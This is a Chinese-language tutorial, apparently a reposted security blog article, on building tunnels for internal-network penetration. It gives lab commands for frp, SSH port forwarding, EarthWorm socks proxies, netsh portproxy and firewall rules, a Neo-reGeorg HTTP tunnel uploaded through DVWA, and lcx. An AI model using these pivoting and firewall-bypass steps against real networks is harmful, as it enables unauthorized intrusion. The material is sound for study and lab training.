您当前的位置:首页 > 电脑百科 > 网络技术 > 网络技术

内网常见隧道工具的使用

时间:2021-11-30 09:19:31  来源:  作者:暗网视界

公众号:白帽子左一
领取配套练手靶场、安全全套课程及工具...

一、简介

学习内网安全的时候,总会见到一些隧道的概念。搭建隧道对于内网渗透来说是一个必不可少的环节。简单理解,隧道的概念即是做端口转发,将流量通过某种方式,转发到内部机器。

 

二、搭建隧道的场景分析

在内网渗透的过程中,当获取到边界主机之后,需要继续深入渗透,这时就需要搭建代理或者建立隧道,去探测访问处于内网中的机器。

常见的方法有:搭建socks5代理、端口转发、建立隧道等

三、常见隧道工具及其使用方法

1、frp内网穿透工具

frp即高性能反向代理应用,其主要用于将部分内网服务"暴露"到公网上供用户使用(例如http等)。官方给出的功能列表如下:

利用处于防火墙后的机器,对外网环境提供 http 或 https 服务。
对于 http, https 服务支持基于域名的虚拟主机,支持自定义域名绑定,使多个域名可以共用一个80端口。
利用处于防火墙后的机器,对外网环境提供 tcp 和 udp 服务,例如在家里通过 ssh 访问处于公司局部环境的主机。

这里稍微谈论一下反向代理和正向代理:

(1)正向代理

即当客户端由于某种原因,不能访问外部服务的时候(例如防火墙的限制),就需要一台代理服务器来中转一下(例如使用socks5代理服务器)。比较常见的方式就是使用VPN(俗称翻墙)。

在内网渗透的过程中,当我们获取到一台边界服务器之后,需要继续向内进行渗透时,可以将该边界服务器作为代理服务器,通过该服务器去访问内网服务。(即正向代理)

(2)反向代理

反向代理一般用于负载均衡。即当我们想要访问Web服务时,会发送一条请求给反向代理服务器,该代理服务器会将请求转发给处于内网的Web服务器(根据负载程度,转发到不同服务器),从而实现负载均衡。

反向代理对于客户端来说(即发送请求的一端)是透明,我们不知道代理服务器将请求发送给哪台主机。

(3)正向代理与反向代理的区别

正向代理对于服务器来说是透明的,因为它不知道访问它的客户是谁,所有的请求都是通过正向代理服务器转发过去的。

而反向代理对于客户端来说是透明的,即它不知道请求的目标主机的真正IP,因为它将所有的请求都只是发送到反向代理服务器上面。

适用场景:

(1)由于防火墙的限制,部分端口不能直接访问,可以将端口转发出去从而绕过防火墙(前提是获取了该目标主机的shell)

(2)利用frp可以搭建socks5服务

采用实验的方式进行理解:

实验拓扑结构:

内网常见隧道工具的使用

 

V-PS:
192.168.226.130
OWASP WEB:  
外:192.168.226.133
内:192.168.100.100
Ubuntu Server:
192.168.100.101

目的:将内网机器Ubuntu Server流量通过OWASP Web服务器转发出来

实验一:将内网机器的22号端口映射到边界服务器的6000端口

# frp相关配置如下
# frp服务端(边界服务器) frps.ini
[common]
bind_addr = 0.0.0.0
bind_port = 7000

# frp客户端(内网机器) frpc.ini
[common]
server_addr = 192.168.100.100
server_port = 7000

[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 6000

# 启动服务
# 服务端   ./frps -c frps.ini
# 客户端   ./frpc -c frpc.ini
内网常见隧道工具的使用

 

接下来在V-PS直接连接边界主机的6000端口即可连接到内网的22端口

内网常见隧道工具的使用

 

实验二:使用frp实现socks5代理

# frp相关配置如下
# frp服务端(边界服务器) frps.ini
[common]
bind_addr = 0.0.0.0
bind_port = 7000

# frp客户端(内网机器) frpc.ini
[common]
server_addr = 192.168.100.100
server_port = 7000

[socks5]
type = tcp
remote_port = 6001
plugin = socks5

# 启动完成以后,在V-P-S配置一下/etc/proxychains.conf
[ProxyList]
socks5 192.168.226.133 6001

接下来通过socks5代理的方式去访问内网机器的22号端口:

内网常见隧道工具的使用

 

2、SSH

SSH即Secure Shell,它对传输的数据进行了加密处理。利用SSH,也可以实现端口转发

SSH一般用于本地端口转发和远程端口转发

(1)本地端口转发

顾名思义,就是将本机的某个端口转发出去。

考虑以下这种情况:

内网常见隧道工具的使用

 

V-P-S要连接内网机器,就必须得通过中间那台服务器。如果我们知道中间那台服务器的账号和密码,就可将中间服务器当作跳板,去访问内网机器,具体做法如下:

# 在V-P-S上执行如下命令:
ssh -g -L 9999:192.168.100.101:22 -fN root@192.168.100.100

# 参数介绍:
-L 表示做本地端口映射,9999表示本地端口,192.168.100.101:22表示目标映射的地址与端口
-f 表示SSH客户端在后台运行
-N 参数表示该连接不做任何操作,仅用于端口转发
-g 表示允许外来主机连接该V-P-S的9999端口(例如用netstat查看时监听的是0.0.0.0:9999)

# 上述命令理解为通过192.168.100.100,将本地9999端口映射到内网主机192.168.100.101的22端口
# 验证映射成功
ssh m1sn0w@192.168.100.101 -p 9999

(2)远程端口转发

远程端口转发即将一台远程主机的端口转发到另外一台主机的某个端口

与本地端口转发不同,它需要在中间服务器上执行(也就是上面的跳板),一般用于内网流量可以出去,但是外网流量由于防火墙限制不能进的情况。

考虑以下这种情况:

内网常见隧道工具的使用

 

在中间服务器执行ssh的远程端口转发,打开V-P-S的某个端口,与内网机器(中间服务器能访问的机器)的某个端口做一个映射。(与本地端口转发类似,这里只不过是打开远程主机的某个端口)

常规操作:

# 将远程主机的9999端口映射到内网机器的80端口
# -R参数表示进行远程端口转发
ssh -R 9999:192.168.100.101:80 -fN m1sn0w@192.168.226.130

做个实验:模拟中间服务器不允许V-P-S访问其80端口,通过在中间服务器做一个远程端口转发,绕过防火墙

# iptables模拟防火墙,不允许V-P-S访问中间服务器的80端口(设置INPUT链规则)
iptables -A INPUT -p tcp -s 192.168.226.130 --dport 80 -j DROP


# 在V-P-S访问192.168.226.133的80端口发现访问不了
curl 192.168.226.113

# 在中间服务器上做一个远程端口转发(注意:这里的映射主机就是中间服务器)
ssh -R 9999:192.168.226.133:80 -fN m1sn0w@192.168.226.130

# 在V-P-S访问本机的9999端口,发现可以访问
curl 127.0.0.1:9999

3、EarthWorm

EarthWorm也是一个内网穿透的神器,可以利用端口转发做socks5代理实现内网的穿透
主要有三个参数:
# rcsocks客户端,监听端口以及转发端口
# rsscoks服务端,指定连接的主机以及端口
# ssocksd,做正向代理

以上述实验拓扑为例,EarthWorm可以做正向代理和反向代理

(1)正向代理示例

# 在中间服务器做一个正向代理,V-P-S通过该代理去访问内网机器
# 利用EarthWorm在中间服务器上做一个代理服务
./ew_for_linux32 -s ssocksd -l 8888
# 此时该主机会监听8888端口,相当于一台socks5代理服务器
内网常见隧道工具的使用

 

# V-P-S配置一下socks5代理即可访问内网机器
# 修改/etc/proxychains.conf
socks5 192.168.226.133 8888

# 访问内网机器的80端口
proxychains curl 192.168.100.101

(这里正向代理的含义是中间服务主动打开了一个端口等待我们的V-P-S连接,也就是主动去连接)

(2)反向代理示例

# 让中间服务器主动与我们的V-P-S建立一个连接,以便传输数据(用于外部流量不能进,而内部流量可以出的情况)
# 在V-P-S上配置监听端口(8888端口用于连接传输数据,10002端口表示将本机的10002端口转发到8888端口)
./ew_for_Linux64 -s rcsocks -l 10002 -e 8888

# 配置一下V-P-S上的socks5代理
socks5 127.0.0.1 10002

# 在中间服务器配置主动连接
./ew_for_Linux32 -s rssocks -d 192.168.226.130 -e 8888
内网常见隧道工具的使用

 

# 接下来尝试访问内网机器
proxychains curl 192.168.100.101

4、netsh

netsh即network shell,是windows系统提供的一款强大的网络配置命令行工具。它拥有比较强大的端口转发功能,能够进行本地端口转发和远程端口转发。netsh也可以用于配置防火墙

(1)netsh实现端口转发

# 使用方式介绍
netsh interface portproxy add v4tov4  listenaddress=监听主机 listenport=本机需要映射(转发)的端口 connectaddress=远程主机(也可以是本机) connectport=远程(本地)映射端口
内网常见隧道工具的使用

 

由于是做端口转发,因此考虑的场景是从外(边界)向里(内网),利用此工具进行端口转发,从而访问内网。

例如:假设边界主机是一台windows,并且我们已经获取了相应的权限。接下来要做的事情是向内网继续进行渗透。

实验拓扑:

# V-PS主机:192.168.226.113
# 边界windows主机:192.168.226.133/192.168.100.100(双网卡)
# 内网服务器:192.168.100.101

由于V-PS无法直接访问内网的服务,因此在边界windows主机上做一个端口转发,将流量转发到内网主机的某个端口上。(以访问内网80端口为例)

# 以下操作实在windows边界主机上进行的
# 监听所有主机访问本机8080端口,将流量转发到内网的80端口
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=8080 connectaddress=192.168.100.101 connectport=80

# 接下来,当我们访问该主机的8080端口时,相当于访问了内网的Web服务器

# 查看我们建立的转发规则
netsh interface portproxy show v4tov4
内网常见隧道工具的使用

 

# 删除我们建立转发规则
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=8080
内网常见隧道工具的使用

 

考虑到另外一种场景:由于防火墙的限制,该windows主机只开放了几个端口,而你又想访问其他端口(例如3389)

此时可以做一个本地端口转发,将3389端口的流量映射到其他开放的端口上

# 实现命令(假设12345端口对外开放)
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=12345 connectaddress=127.0.0.1 connectport=3389

# 当外部主机访问该主机的12345时,相当于访问本机的3389端口

(2)netsh配置防火墙

netsh配置防火墙有两个参数firewall和advfirewall(firewall是简单模式、advfirewall是高级模式)

内网常见隧道工具的使用

 

例如:
# 开放3389端口
netsh advfirewall firewall add rule name="openRDP" dir=in protocol=tcp localport=3389 action=allow
(name表示给该规则命名,dir表示流量方向)
内网常见隧道工具的使用

 

去查看防火墙规则,也可以看见此规则添加成功。

内网常见隧道工具的使用

 

# 删除上述规则
netsh advfirewall firewall delete rule name="openRDP" protocol=tcp localport=3389
内网常见隧道工具的使用

 

5、Neo-reGeorg

Neo-reGeory是一款建立HTTP隧道的工具,适用于目标服务器只开放了80端口,通过80端口去探测内网服务器。(利用文件上传漏洞即可)

最常见的使用应该还是搭建一个socks代理

(尝试了一下reGeory,搭代理后去访问内网的80端口,结果是408。但是使用Neo-reGeorg可以直接访问,也许是环境的问题)

# 简单搭建socks代理实现
# 创建隧道文件
Python neoreg.py generate -k password

# 通过一定的方式将相应脚本文件传到目标服务器
# 本次实验采用的是dvwa,上传php脚本文件tunnel.php 
执行:
python neoreg.py -k password -u http://192.168.226.133/dvwa/hackable/uploads/tunnel.php -p 1080
(将本地1080端口的流量转发到目标服务器)

# 配置socks5代理/etc/proxychains.conf或者浏览器配置socks5
socks5 127.0.0.1 1080

# 访问内网的80服务
proxychains curl 192.168.100.101
内网常见隧道工具的使用

 

6、Lcx

lcx也是一款强大的内网端口转发工具,现已经有了跨平台的工具,在Linux和Windows下都可以使用

由于是做端口转发,因此考虑一下几种场景:

实现一:22端口不出网做本地端口转发连接ssh

# 由于防火墙限制,现在中间服务器的22号端口禁止对外开放
# 配置iptables(由于环境原因,将V-PS作为靶机,中间主机作为攻击机),在V-PS上配置防火墙
iptables -A OUTPUT -p tcp -d 192.168.226.133 --sport 22 -j DROP
# 将从22号端口出去的流向192.168.226.133主机的流量丢弃掉

# 直接去访问V-PS的22号端口连接不了
ssh m1sn0w@192.168.226.130

# 利用lcx实现本地端口转发,将22号流量转发到其他允许出网的端口上面(V-PS上执行)
# 表示将10003端口的流量都转发给22号端口
./portmap -m 1 -p1 10003 -h2 127.0.0.1 -p2 22

# 再次连接即可成功
ssh m1sn0w@192.168.226.130 -p 10003
内网常见隧道工具的使用

 

实验二:一层主机做端口转发访问二层内网主机

# 场景分析:需要使用V-PS去访问内网的80端口
# 在中间服务器(一层主机)上做端口转发
./a.out -m 1 -p1 10004 -h2 192.168.100.101 -p2 80
# 表示将本机的10004端口的流量转发给内网主机80端口

# V-PS访问一层主机的10004端口即可实现访问内网主机的80端口
curl 192.168.226.133:10004
内网常见隧道工具的使用

 

四、总结

本地端口转发用于某个端口由于防火墙的限制,不能出网,例如常见的22,3389端口。如果此时,我们通过一些手段拿到了目标服务器的shell(例如通过Web服务上传了一个Webshell),我们可以利用本地端口转发的技术,将某个对外开放的端口(例如10000)将其流量转发给22号端口。这样,通过访问目标主机的10000端口,即可实现连接22号端口进行远程访问。

远程端口转发感觉多用于通过某个跳板去访问内部主机。例如如下拓扑结构:

内网常见隧道工具的使用

 

在SSH服务器上做一个远程端口转发,将A的某个端口映射到B的某个端口上,这样V-PS可以直接访问A的某个端口实现对B的访问。

原文地址:http://33h.co/90vr1



Tags:内网   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
# 1. nps-npc1.1 简介nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发,可支持任何tcp、udp上层协议(访问内网网站、本地支付接口调试、ssh...【详细内容】
2021-12-22  Tags: 内网  点击:(8)  评论:(0)  加入收藏
公众号:白帽子左一 领取配套练手靶场、安全全套课程及工具...一、简介学习内网安全的时候,总会见到一些隧道的概念。搭建隧道对于内网渗透来说是一个必不可少的环节。简单理解...【详细内容】
2021-11-30  Tags: 内网  点击:(21)  评论:(0)  加入收藏
上一节中我们学了如何实现ARP断网攻击,本节中我们将利用ARP欺骗的原理实现截取目标计算机图片流量,内容包括:ü如何开启ip转发ü怎样截取受害机图片流量 一、开启ip转...【详细内容】
2021-11-23  Tags: 内网  点击:(22)  评论:(0)  加入收藏
内网搭建FTP服务器,外网如何能正常访问?我们通常的做法就是通过路由器进行端口映射,将内网的电脑端口映射到外网上来,从而通过访问外网的IP地址达到FTP文件传输的目标。我们使用...【详细内容】
2021-11-05  Tags: 内网  点击:(71)  评论:(0)  加入收藏
FRP 内网穿透需求背景最近小王公司接个对接公众账号应用开发的项目,其中有个功能需求是"用户关注公众账号后发送特定消息后公众账号需要回复一个二维码海报“。了解需求后,便...【详细内容】
2021-09-22  Tags: 内网  点击:(52)  评论:(0)  加入收藏
拓扑环境 Kali Linux(攻击机) Centos6.4(web服务器) win7(域成员主机无法上网) win2008R2(域控无法上网) 目的通过Kali Linux拿到域控权限2021最新整理网络安全\渗透测试/安全学习(全...【详细内容】
2021-09-17  Tags: 内网  点击:(84)  评论:(0)  加入收藏
1. 前言大家好,我是安果!一提到远程桌面,可能大家都会想到 TeamViewer、向日葵等第三方软件但是,它们大多是商业化软件,价格昂贵;即使有提供免费版本,也是各种限制,稳定性和安全性...【详细内容】
2021-09-16  Tags: 内网  点击:(72)  评论:(0)  加入收藏
前言这又是一个关于域内基础概念与原理的系列Active Directory 的查询基础语法BaseDNBaseDN 即基础可分辨名称,其指定了这棵树的根。比如指定 BaseDN 为DC=whoamianony,DC=or...【详细内容】
2021-09-06  Tags: 内网  点击:(46)  评论:(0)  加入收藏
VPN详解一、VPN介绍 什么是vpn?# VPN是虚拟专用网络的缩写,它是两个或多个物理网络(或设备)之间沟通互联网/公共网络创建的虚拟网络,可以为企业之间或者个人与企业之间提供安...【详细内容】
2021-09-02  Tags: 内网  点击:(64)  评论:(0)  加入收藏
1、场景说明有些时候我们的笔记本电脑即需要通过手机热点上外网,又需要连接公司内网,而两边如果都是DHCP自动获得IP的时候就会比较麻烦,需要连接内网非直连网段的话我们就得把...【详细内容】
2021-08-27  Tags: 内网  点击:(76)  评论:(0)  加入收藏
▌简易百科推荐
写一个shell获取本机ip地址、网关地址以及dns信息。经常会遇到取本机ip、网关、dns地址,windows一个命令ipconfig /all全部获取到,但linux系统却并非如此。linux系统都自带ifc...【详细内容】
2021-12-27  K佬食古    Tags:shell   点击:(0)  评论:(0)  加入收藏
步骤1、配置 /etc/sysconfig/network-scripts/ifcfg-eth0 里的文件。it动力的CentOS下的ifcfg-eth0的配置详情:[root@localhost ~]# vim /etc/sysconfig/network-scripts/ifc...【详细内容】
2021-12-24  忆梦如风    Tags:网卡   点击:(9)  评论:(0)  加入收藏
1、查找当前目录下所有以.tar结尾的文件然后移动到指定目录find . -name “*.tar” -execmv {}./backup/ ;注解:find –name 主要用于查找某个文件名字,-exec 、xargs可...【详细内容】
2021-12-17  郭主任    Tags:运维   点击:(18)  评论:(0)  加入收藏
对于经常上网的朋友来说,除了手机购物上网,pc端玩网页游戏还是很多小伙伴首选的,但是有时候明明宽带链接上了,打开浏览器却出现上不了网的现象,下面小编要来跟大家说说电脑有网络...【详细内容】
2021-12-16  小白系统    Tags:网页无法打开   点击:(28)  评论:(0)  加入收藏
在访问像github、gitlab这样的外国网站时,很有可能会出现页面加载不出来或找不到页面的错误。这时候有的朋友就会以为是网络的问题,于是把Wifi断掉连上自己手机的热点,结果却还...【详细内容】
2021-12-15  启施技术IT狼叔    Tags:外网   点击:(14)  评论:(0)  加入收藏
网络地址来源:获取公网IP地址 https://ipip.yy.com/get_ip_info.phphttp://pv.sohu.com/cityjson?ie=utf-8http://www.ip168.com/json.do?view=myipaddress...【详细内容】
2021-12-15  韦廷华12    Tags:外网ip   点击:(14)  评论:(0)  加入收藏
准备好软件IPOP、用ENSP模拟一下华为交换机 启动交换机 <Huawei>sysEnter system view, return user view with Ctrl+Z.[Huawei]sysname FTPClient[FTPClient]interface vla...【详细内容】
2021-12-15  思源Edward    Tags:交换机   点击:(22)  评论:(0)  加入收藏
我们经常用到netstat命令查看主机连接状况,包括连接ip、端口、状态等,今天就练习下shell分析netsat结果。描述假设netstat命令运行的结果我们存储在nowcoder.txt里,格式如下:Pro...【详细内容】
2021-12-14  K佬食古    Tags:netstat   点击:(19)  评论:(0)  加入收藏
什么是滑动窗口?窗口是操作系统开辟的一块缓存空间,发送方在收到接收方ACK应答之前,必须在缓冲区保留已发送的数据,如果按期收到确认应答,数据就可以从缓冲区移除。什么是滑动窗...【详细内容】
2021-12-14  DifferentJava    Tags:TCP   点击:(28)  评论:(0)  加入收藏
概述日常管理华为路由设备过程中,难为会忘记设备登录密码,那么该如何重置设备登录密码吗?本期文章将全面向各位小伙伴总结分享。重置华为设备登录密码思路先行 采用console登录...【详细内容】
2021-12-10  onme0    Tags:   点击:(26)  评论:(0)  加入收藏
最新更新
栏目热门
栏目头条